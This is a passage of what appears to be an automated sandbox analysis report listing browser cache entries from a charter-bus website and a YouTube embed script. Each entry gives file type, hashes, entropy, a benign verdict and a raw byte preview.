...R......@....0.._..y^...ve..Y...7.=O.j.<.`...U<..R........DIT#..=.....{..6....7.......o....S..D...........eHTF.....C...._y......'m....o.....

Chrome Cache Entry: 289

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (570)
Category:	downloaded
Size (bytes):	30705
Entropy (8bit):	5.405193267930756
Encrypted:	false
SSDEEP:	384:9UiDgUXh0Lc0m+g1Rc4OawaBpbDNOZ4FL4/Zq13OCh1EzLrBOFAnNXEGQxnY202g:9bg0gNeRNx4hq1Dhi17t781e
MD5:	7399100969B8BAE1BA07DB901385E9A4
SHA1:	628D99BA10CFE585D62ECC3D0123D12E6D20324F
SHA-256:	DB3BCE52707BB1E9FDF132A12E1CB1B02EAA43DA4E54054D5496CEE2FFC520C8
SHA-512:	FBB0C1AD1A5A294F66C3C897A40A8B38B6B772AF52DEA3D20A46AB9A393AA41F7BCD8FF0B91A01A992E339C84EB34EA82A60917C0E0ECD771962954FF5679E53
Malicious:	false
Reputation:	low
URL:	https://www.youtube.com/s/player/804c67d2/www-widgetapi.vflset/www-widgetapi.js
Preview:	(function(){'use strict';var n;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}.var p=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function da(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}.var q=da(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var f=a[d];if(!(f in c))break a;c=c[f]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&p(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(e){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(e\|\|"")+"_"+f++,e)}.function c(e,h){this.g=e;p(this,"description",{configurable:!0,writable:!0,value:h

Chrome Cache Entry: 290

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	909
Entropy (8bit):	4.889808862663873
Encrypted:	false
SSDEEP:	24:tTv4+tuU0Mni/IR32HgbH4oJDP9baOcQTGmCcb2oUzZ:F4EjFF5F9wAwZ
MD5:	AA42184D329D5EA02F1D26CCB984C140
SHA1:	7151DB8048C433480238DA71D7AD73497A5BD1B6
SHA-256:	F4023891B180EE491C3E90E320F07F9EC40304F3EE3B8FFAA029A3826EDC74CE
SHA-512:	03450E852B34197D24A16D83FD3FDA3B1BDF2827AE1634CD497FE398715324972D0133D591EEEACF28F0442493E5B88C429A1B9965A09C164D871EF98010244D
Malicious:	false
Reputation:	low
Preview:	<svg width="18" height="17" viewBox="0 0 18 17" fill="none" xmlns="http://www.w3.org/2000/svg"> <g clip-path="url(#clip0_866_1644)"> <path d="M8.83537 1.74036C5.07789 1.74036 2.03516 4.7899 2.03516 8.54737C2.03516 12.3048 5.07789 15.3544 8.83537 15.3544C12.5996 15.3544 15.6492 12.3048 15.6492 8.54737C15.6492 4.7899 12.5996 1.74036 8.83537 1.74036ZM8.84217 13.993C5.83347 13.993 3.39656 11.5561 3.39656 8.54737C3.39656 5.53867 5.83347 3.10176 8.84217 3.10176C11.8509 3.10176 14.2878 5.53867 14.2878 8.54737C14.2878 11.5561 11.8509 13.993 8.84217 13.993Z" fill="#333333" fill-opacity="0.6"></path> <path d="M9.18267 5.14386H8.16162V9.22807L11.7353 11.3723L12.2458 10.535L9.18267 8.71754V5.14386Z" fill="#333333" fill-opacity="0.6"></path> </g> <defs> <clipPath id="clip0_866_1644"> <rect width="16.3368" height="16.3368" fill="white" transform="translate(0.673828 0.378967)"></rect> </clipPath> </defs> </svg>

Chrome Cache Entry: 291

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 503x507, components 3
Category:	dropped
Size (bytes):	50155
Entropy (8bit):	7.983213259394451
Encrypted:	false
SSDEEP:	1536:MfTjB6XgxPrwn8jUsX2IixHuJkzWkOrNYyj:0vBTx8vsXSH7ykO6yj
MD5:	01E3A8BD69E8E1CBD6CAD9DA4930109A
SHA1:	E915CF9698CD80186A8679950049A7B9C3AD5963
SHA-256:	103ED1A6A019E41CD88BCCDDCEDE74272C4B5B3EBDAEBAAB77C6659E0C4B2134
SHA-512:	8F01DEBB1CDF1DC7D05F9298D4303D24E87C4B656B2AA72F9ED220D3094CEE4B49A58EC2C0BCE9C127EFF040E25D368A893D8EA35300175F94CDD9ED446D3FF5
Malicious:	false
Reputation:	low
Preview:	......JFIF.....................................................................".."+)+88K.......................................................".."+)+88K......................6....................................................................8.N.CS.....:../)....VZ+.5wa]..GC&.>.+.C.I.....I.g....`t.3....z..J.B6.` .!^j0..#...Z...O.tgs...y......s...M.e .DiD....Q.aLU(...a.p<...lW.<:......:D{....:.q.Z\'+..j.h....#...u..H.!.N.j.ykw.+wE..Un\.Z.{.:.3nC.....!.. n......4?6.{....U...zt...ak........y.LN:......#N)p..!.@..5..:..\..tI..s.2.....Y.....c.A1...hP#`..H.!..ddp..[..Ko@zYN.h.....[.;.X...eq\|.;.-..Y.#L....d.@.8..z$.....,.TL;..(.W..$.!.8:.n...hA....@2.Y9O...g.F..X.,....-.V.A.aP..1.x.G6.`.. ..8...#.tY....4Wi..R.:'.~t.Z.z......)R I...8 @.`f..Q.0.dbpW.N...S..4..j-.n.l+H..F.[.....!.0.CS...v.5?lO..N."n!.)3+A;qv....4@.@...:n"C.....@."..B.C...<:z..v.'1S.0.k.u..kj....8R...U.....gT9...d*#.B...X.H.s.ZU..ya_.LpI.......2...M...(@...31X<7...9.9F....-.uM}R....-

Chrome Cache Entry: 292

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 498x280, components 3
Category:	downloaded
Size (bytes):	29630
Entropy (8bit):	7.963648581122583
Encrypted:	false
SSDEEP:	384:dVhRmjgSFeXNzobkKunVKLEpiuIiUEtPtju+ZX/l0U1WWQ6tdXOSDULmvCnL/w:/AgSFeXNEblQdp1IEFjHXtpRQkXHDhC8
MD5:	C47B27A0225609E3FD9D97FF8B1A4082
SHA1:	8E0FAC1D4F1D694045943392E54A0813471DFB85
SHA-256:	E15C7180370A3730CFC8990AE3487720F62322B0531634238190E4A8FDA61242
SHA-512:	C1B88B91314D217CA645E69E1D768991028B7D7CFA39ED7C272248C4DF2698F932FD416E30D6A49F95703D2A2165BE7834F7DF842BF3ECE253C1A97BA0EE770F
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design//amenties/storage-bays-in-charter-bus.jpg
Preview:	......Exif..II*.................Ducky.......>......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="72676334B1B9AF61328FD62B0D73A6D4" xmpMM:DocumentID="xmp.did:E94CEE084DBF11EF962FFFD3A1D94748" xmpMM:InstanceID="xmp.iid:E94CEE074DBF11EF962FFFD3A1D94748" xmp:CreatorTool="Adobe Photoshop Lightroom Classic 13.3.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:b024ba5c-a959-4646-a264-aafabfcef2bf" stRef:documentID="xmp.did:b024ba5c-a959-4646-a264-aafabfcef2bf"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...HPhotoshop 3.0.8BIM..........Z...%G........

Chrome Cache Entry: 293

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 498x280, components 3
Category:	dropped
Size (bytes):	46335
Entropy (8bit):	7.9811195086581534
Encrypted:	false
SSDEEP:	768:70nZ/GHriLB066rB6aMSP7845ljD7IlUPDuur2i0x5J0qv63UluMbZ5Zm2LS:7s/G+LaBMi4yljXIODuK0xHZiyuMt/mf
MD5:	046080F71FEC17F8839D08DE2A592FEC
SHA1:	32E37969DF770923B63B18CACF76A4F42F4CA6F4
SHA-256:	947D945C6679AD7322276BD1504308EBE1FD07C6EC8CD5BD118C29458E42699E
SHA-512:	95C87C5511A8B6FC0A73F4F8781EAFD2204010EFE2CF9D7457A4149603EAF20D9CD2C0E44CDE479194465314E0B2A34AFBACF6FFBBBCCE6D7C89E6A8E7AB51DE
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......>......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="87AD2B2AE36469707F87C809A7C5967E" xmpMM:DocumentID="xmp.did:F7CB9F6C4DC011EF962FFFD3A1D94748" xmpMM:InstanceID="xmp.iid:F7CB9F6B4DC011EF962FFFD3A1D94748" xmp:CreatorTool="Adobe Photoshop Lightroom Classic 13.3.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f4ab74bc-e27d-49cf-8172-78173cd5973a" stRef:documentID="xmp.did:f4ab74bc-e27d-49cf-8172-78173cd5973a"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...HPhotoshop 3.0.8BIM..........Z...%G........

Chrome Cache Entry: 294

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 105 x 63, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	3359
Entropy (8bit):	7.406776147863472
Encrypted:	false
SSDEEP:	96:gSu4wknmWpiPsJm0zi/Iz0v4H6YQSq5loT+pHPI+dPk+qH:gSuVknusg948voeDG
MD5:	36CB02B8AED8A558B8506C184DEE05AE
SHA1:	6726649988485E11579258CBE8C75E42B6D9AA3E
SHA-256:	6CF64EFDB67B7EDFF2DCC7C6101A44A888E0A97A24AC8D496C5E049100F254C5
SHA-512:	706B941C862289A0086FA1D48076AF7367C8006BCC6C1AE9864A28EA2371C1A1270F6940904256A133413ADE5FBCDDE54DE75A7E5FFE94CAD9A0A9E93340CE2F
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design/trust_banner/trip-completed.png
Preview:	.PNG........IHDR...i...?.....l7q.....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2021-12-28T13:14:24+05:30" xmp:ModifyDate="2021-12-28T13:31:32+05:30" xmp:MetadataDate="2021-12-28T13:31:32+05:30" xmpMM:InstanceID="xmp.iid:dd9cbcf9-81f9-d945-a245-af1629549427" xmpMM:DocumentID="xmp.did:A5C90508415A11EC8A26F31E88F27E18" xmpMM:OriginalDocumentID="xmp.did:A5C9050841

Chrome Cache Entry: 295

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 4044, version 1.0
Category:	downloaded
Size (bytes):	4044
Entropy (8bit):	7.937942275420383
Encrypted:	false
SSDEEP:	96:jgG/XKUaaJE1xhQZIruGPdMU8LNpEGmB0XsR23rF0:jfnaaJE1oZquG1N8LNuB08s7F0
MD5:	C338082D220AD7458274D5FA829A9A17
SHA1:	AE8669F722173DE11F1D4E8AD8E9ACA135BB6B11
SHA-256:	5ABA24918A928F7FDFC7C5BA6865E9B0AAC35E8BC1C050BF2C5ED366FDE8616D
SHA-512:	145D79C07C7056055C60DA0A02D9CA7B4126C95FE76B0042CB02BAA989118125F9C77D92132F93F56EACE5371780D16304474EBE0F308CA30A565F9B906BDC81
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/fonts_new_design/icomoon/icomoon.woff2
Preview:	wOF2...............@...u........................?FFTM....`.......H...:..6.$.p. .....!.t.Q..V..gB&...=..F{.......If.h.fo/qr.......Px\.y..).P....F.{.b........d={g...O-...g..x.%Y......E..81l.d...V .Vi._2$ls.........^.!...S//..#...a..{.e.R...xP....+U.Zq.a..P8.s...a..M.h.9.t..G../..........W....5.$d. ".C.L&.f.`...Vk:H......o..x....C8...#.?....w.`.96...9me...$.....b...~....q..~b.<2.........a.S...u.ZO....l......S..'"<...'4.f.....4...!.5...\..l.D.....4..l@..q..s.+$1..Af.b/.iB.P-..p..NYH...](.B....B.%.n9}.......-4.=Fl....fWU..ZlZ.N......Z.Q..q...[.Yrb.hC.7ijjj./..w..\.-gF...?...U......N..o...}...-..fr..k0...7..G...a...OL.M.]ut.&.....s.....>...:.LID.`....vj.6.....;0$`B...... o....L..#.A........0...`FkoU.?...;....g{..o4..J....i.KT...KR........q..R..,....c..V.......8.......=L~dG.O8....a......2M5....i...0...b...s/.a.....nq..$.^B..N..,.X..L.....1.6m#WG...jv.A..m%...(./.....,E..Q......,fV.F.@).<...MN.n&.f......8@.....i.q.{>.....P.f=....(u$.......W"....

Chrome Cache Entry: 296

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 48824, version 1.0
Category:	downloaded
Size (bytes):	48824
Entropy (8bit):	7.995815513604296
Encrypted:	true
SSDEEP:	768:2wMgs9r58uJq8IOZEE71it+t8C1t/yWMdIdci/4kwRLQN7Eo9ZqW6f:2wM199zJ3/DIWt/y93W4/Q2o9w5
MD5:	D9D1869410AAD82681D38740C57896B4
SHA1:	8A9F03318698DBFAC716915B63E976A824A06C4A
SHA-256:	8B19FFC9406D4DC54121DF2B5910996F22BBA654722DADF6705BE7C8AF9C264A
SHA-512:	7F270D5B308BDD3F4CC09745E5C1A9793C3F68A3A74E8A2E4B925A7074592F70D6130B7A75332659AC20A959CC1B7603EDF69DB912B080149D54F7465DF95A3E
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/fonts_new_design/Poppins/Poppins-Medium.woff2
Preview:	wOF2..............B....X........................?FFTM......(..X.`..^........S.....6.$..f. .....8[........fRAmC.ez....[....If...9Z55...f....<fJ'........I..%.......j.N.:As.aZ....."...` XJ..F.9.......\.{..r7....yY.w...8_.."rz.......]..YDz.....5..W.{...._.h.?..5?..\|h..}{..ei..X......qH.[.L.x..M.d}.LS.[...x<../.b........O.X.....{...\.[k...8Py..a..{.K..V....1Qx}.>T>.....V.L.7..$%.w.&...Q33.@..&.&2\..Kk...!,.lz.$....:0...F.-G.<.......jW..L&#.Z\|.../...i:..m.Rh.bm..1....w9M.&...ZO."VD..3......3....>....3..>..?.!.[..... ..:.ml.hX.....h..b..6X....F.>....~.5@..O..>x.........q..Z.........v....d.................;./@_.5Z}......8.X.O.......Z..X....C.`4:b.w..p...t7d....$..m......m.s.K.O....w.*.4S....}..{.);.}....O.....P..E....N.....Z.^'dD...."...{$O.fVe/."4~..NZ....n....Q.M.4E....,...F<....J......`.....Gh.-..P$...Z{.u(...4.r...T.t;$.....E..... t...+C...2d..78.(..(..i78p..(..h..m.5Kl...D"...@p...3].......d..\|..u.....z.<..RJ)...-..h..h.v.{.EQ.......y78.(.

Chrome Cache Entry: 297

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 269x179, components 3
Category:	dropped
Size (bytes):	28025
Entropy (8bit):	7.977041750966825
Encrypted:	false
SSDEEP:	768:aZUbwk9OUuNh/giA1phflTGIBZtDP4JlGwykoEuxf6fp:/ck9OrAxTJZeJgkBuep
MD5:	B155D35E4F36222446663CFF1D88D7BC
SHA1:	A4EC66BCE85E91BAF53B3C7A78834D6612C4560C
SHA-256:	48F577B5366D093AF2A85F872EA9C10BF9D9E4E1B5638BB126BA6A3B044F6520
SHA-512:	73135C53C124B138C7AB74CFA71707EB9BCEAA67324393DF9D035B78A4D2168428D8523639B38F040C29BC7A197C5E0503EBB58E161CAF2B86A91999607C25D6
Malicious:	false
Reputation:	low
Preview:	......JFIF.........................................................................&$&22C...........................................................&$&22C......................6......................................................................C;.w.qg`.K5....V.2=~...u......tK_...:.XRP[.2T...m.q._...,S..%...Z2.$C...+...^..6~..#s..Z....L.<......f-E.r(.+=......7<........r.=.C..........B$..OMf.....eD..q!..m.Eq.x8.e....W....b.5.`..d.U...1.bw9E.T.J</.{.h.#.o....3_.....g.T.Y.?...q.OlDU./2R}.eZ9.....%..0...}....\...V.Q..F...xO..]..y..>k........XX..... .%..z\|......].[..;...-C)....9.<... .2G.P.b7.8..K.l...}.L.}R.\..&..zSu.Y..... U/.,.f..g..Z.Z.6e..7........?{..;.I6.....1.sB.(....G..ZO<..xJZ.e..lU..g..............4..M?I.u.Ug.i.D..1.....z..aC.~q...m..P.E.{..,......y...%...E.Z[KKF.q.t....#.,...]..}).4.4...a_..j...X\|.......>.-V.< K.v,...\.n....6.............=.YB....}~.Q8.9..T.!z..m....L.wT..P=c&l...(....I.B5..W..9.<J..."./s....]s.(7...Pp[1.......}....D.

Chrome Cache Entry: 298

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 498x280, components 3
Category:	downloaded
Size (bytes):	52305
Entropy (8bit):	7.979016349634334
Encrypted:	false
SSDEEP:	1536:RkP+omLBCWtHaR7GH37RJAhTPzeN8N3c7AhCs:Rq+vks3tWhTP6qPb
MD5:	38E6A4C67AF8BA07A043D9A21B1DC4BB
SHA1:	0CFA03523B067FC200540B2FCB240FAAA4A98B28
SHA-256:	68C1CCBF28C2E64C3191481336E33EF091CA13ED8B489D20B4E346083EC57E4F
SHA-512:	06B47498116EED80068DFE19E343FD7881BD8954749D81F3A369FF479F676567D9D84AF66CAE21E8CD6D7E49D1CD97B2C1B1DDBEEB6B2372C2637D56523F10A4
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design//amenties/reclining-seats-and-seatbelts-in-charter-bus.jpg
Preview:	......Exif..II*.................Ducky.......>......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="6F331168D01429D4E67FB6F67037691A" xmpMM:DocumentID="xmp.did:E94CEE044DBF11EF962FFFD3A1D94748" xmpMM:InstanceID="xmp.iid:E94CEE034DBF11EF962FFFD3A1D94748" xmp:CreatorTool="Adobe Photoshop Lightroom Classic 13.3.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:3dd12b20-9c7d-4aa2-add3-d185ad3bf844" stRef:documentID="xmp.did:3dd12b20-9c7d-4aa2-add3-d185ad3bf844"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...HPhotoshop 3.0.8BIM..........Z...%G........

Chrome Cache Entry: 299

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 144 x 55, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2805
Entropy (8bit):	7.574270342215127
Encrypted:	false
SSDEEP:	48:VFttavlRw589xOjvHB4xTr5HUvy0+Vc0B5h1asZrIxyFex+NEG7iRq9+Ra:VLUlRG89eHCZRUaPSJsRIxyFeANERqCa
MD5:	E1C77079C0BA999ECF355EC7B9D40F1F
SHA1:	4FF481E7BC3268934E3C91CD745A38497B5523C4
SHA-256:	1ACB1A10483BB7D99C2B3377FB925ADF3B815556C34367068AEE699F897199D0
SHA-512:	74B4A4E701C3611181751E0921528D974D7127782D2C02CE38C6731FCD0ECDEB436019E5F690A9595932DBD291FB7B25F670EA48038EFAA2BC61CDF19BAD8DFE
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......7......3.....sRGB...,.....pHYs...%...%.IR$.....PLTE..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................c.g[....tRNS.........".....3Rm...........~dB ..4k.........\$......G.....E.J.....g.Q..'#...i.=..au....\|+0./....n.*....%..)Yf-w.t[.,..IK^..o.5.:c7.....p....1...C.V`...2H&.......W.T.h?..z.AL.l.

Chrome Cache Entry: 300

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 498x280, components 3
Category:	downloaded
Size (bytes):	21130
Entropy (8bit):	7.95971719246678
Encrypted:	false
SSDEEP:	384:Cgo1Ql/4bqr53DA5X4HmUqExrWDraVtkcpJY66+4xsNkJ36Ohy:toW/4M3U5X7ArWwkcpJ6+nNk9hy
MD5:	30A0A1EF7A4D35AFCD0FF2EEAF6FB547
SHA1:	4F32F57967E6700836B254FC2DD40E2505F3CEF7
SHA-256:	71D24E29D860CB1B064534AD218F7FFAA44E45D5BCD03E92C6BC4F242BA1F7FA
SHA-512:	196C6E3C3E9C40A2303299A0CDFF94328452847635BF3A7507C5EA8F3F7F24F2E8B59D181031771EC9CE18CA073E8D158E06EF58FAF0887E3D5D49B60F7C75F0
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design//amenties/power-outlets-in-charter-bus.jpg
Preview:	......Exif..II*.................Ducky.......>......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="F08761AEE355B99F4F568FE8DC243294" xmpMM:DocumentID="xmp.did:80EBB9EF4DC011EF962FFFD3A1D94748" xmpMM:InstanceID="xmp.iid:80EBB9EE4DC011EF962FFFD3A1D94748" xmp:CreatorTool="Adobe Photoshop Lightroom Classic 13.3.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:26c01e69-f61a-4d40-bc38-ee87cf64c0fb" stRef:documentID="xmp.did:26c01e69-f61a-4d40-bc38-ee87cf64c0fb"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...HPhotoshop 3.0.8BIM..........Z...%G........

Chrome Cache Entry: 301

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 327 x 327, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13446
Entropy (8bit):	7.916123670241432
Encrypted:	false
SSDEEP:	192:u4/rX4dZ3wNaecwK4vj/dMW7UuIhVVEpJ1n3rei1W0ZlY9geI7W35EPB:u4kdZHjsj/aW7naVw3n3KkheF356
MD5:	6AE74484BB090424E81029AC5A1022E5
SHA1:	2FC6BF3C403107B0BB8ECDB1A21C73F3F7D0B2D7
SHA-256:	A9BEC55AE0F2C85940E36C8529DC4076900F58FC5F66E7EEF717762963333EAE
SHA-512:	146FE88F3734959EBFD13A3C9C80563A405EA26A7C538515CFD89A03482069462EC8C4CD3F952A5FA47F8BD3C1E9B5E543BE7D7F6F281E6A8BFA4AA40BCE7974
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design/uma-logo.png
Preview:	.PNG........IHDR...G...G.....2I.k....sRGB.........gAMA......a.....pHYs..........o.d..4.IDATx^...]U..A..^....R...... ..b.h...:......C.(..C..@..1.sn. (.@..D....A.9. ..F..2......{o.J.u.u......}..g.k.=.}..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!...\..J5.uo5[...[{T......z....$..m....x...o...R.vA.].....~. &.(..[..<I..ht..h..3...`I.K.........:...-..m....$........N...z.;c.Y...7k.t.JW..;F.Y.$.O6.....g......?....\|+K.....S.-...Y.r...hA.,.$}./.>.1...........9p.uV..Q..`T.!,.....G.-...7}.!..Q..J.:.%..X!./.......Q.....xZK..z....(MIL)&i....H..U0J....m<...YoN.jX.....h..y.7.m.Q..*..[ mO...=....~.65.(./I..u.D._.\|..IO.u...&.>.+A.t/.FW........hZ.$f5......i.y..:.$;....i.....J...x.D'Q.9..T..b.W.\..6....t...v..9...J..4....y4...W.~.SO.......<

Chrome Cache Entry: 302

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 498x280, components 3
Category:	downloaded
Size (bytes):	46335
Entropy (8bit):	7.9811195086581534
Encrypted:	false
SSDEEP:	768:70nZ/GHriLB066rB6aMSP7845ljD7IlUPDuur2i0x5J0qv63UluMbZ5Zm2LS:7s/G+LaBMi4yljXIODuK0xHZiyuMt/mf
MD5:	046080F71FEC17F8839D08DE2A592FEC
SHA1:	32E37969DF770923B63B18CACF76A4F42F4CA6F4
SHA-256:	947D945C6679AD7322276BD1504308EBE1FD07C6EC8CD5BD118C29458E42699E
SHA-512:	95C87C5511A8B6FC0A73F4F8781EAFD2204010EFE2CF9D7457A4149603EAF20D9CD2C0E44CDE479194465314E0B2A34AFBACF6FFBBBCCE6D7C89E6A8E7AB51DE
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design//amenties/microphone-pa-system-in-charter-bus.jpg
Preview:	......Exif..II*.................Ducky.......>......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="87AD2B2AE36469707F87C809A7C5967E" xmpMM:DocumentID="xmp.did:F7CB9F6C4DC011EF962FFFD3A1D94748" xmpMM:InstanceID="xmp.iid:F7CB9F6B4DC011EF962FFFD3A1D94748" xmp:CreatorTool="Adobe Photoshop Lightroom Classic 13.3.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f4ab74bc-e27d-49cf-8172-78173cd5973a" stRef:documentID="xmp.did:f4ab74bc-e27d-49cf-8172-78173cd5973a"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...HPhotoshop 3.0.8BIM..........Z...%G........

Chrome Cache Entry: 303

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 498x280, components 3
Category:	dropped
Size (bytes):	30849
Entropy (8bit):	7.966936331467395
Encrypted:	false
SSDEEP:	384:APiHIB2Q+oUVbprVd4diN5bkzZxgWaXtpKCu82ziq2Qj9Pi0fN0l17WuQxldwGrG:nVoUViSGz4Wa9kCupziRMPDfE17W5UGK
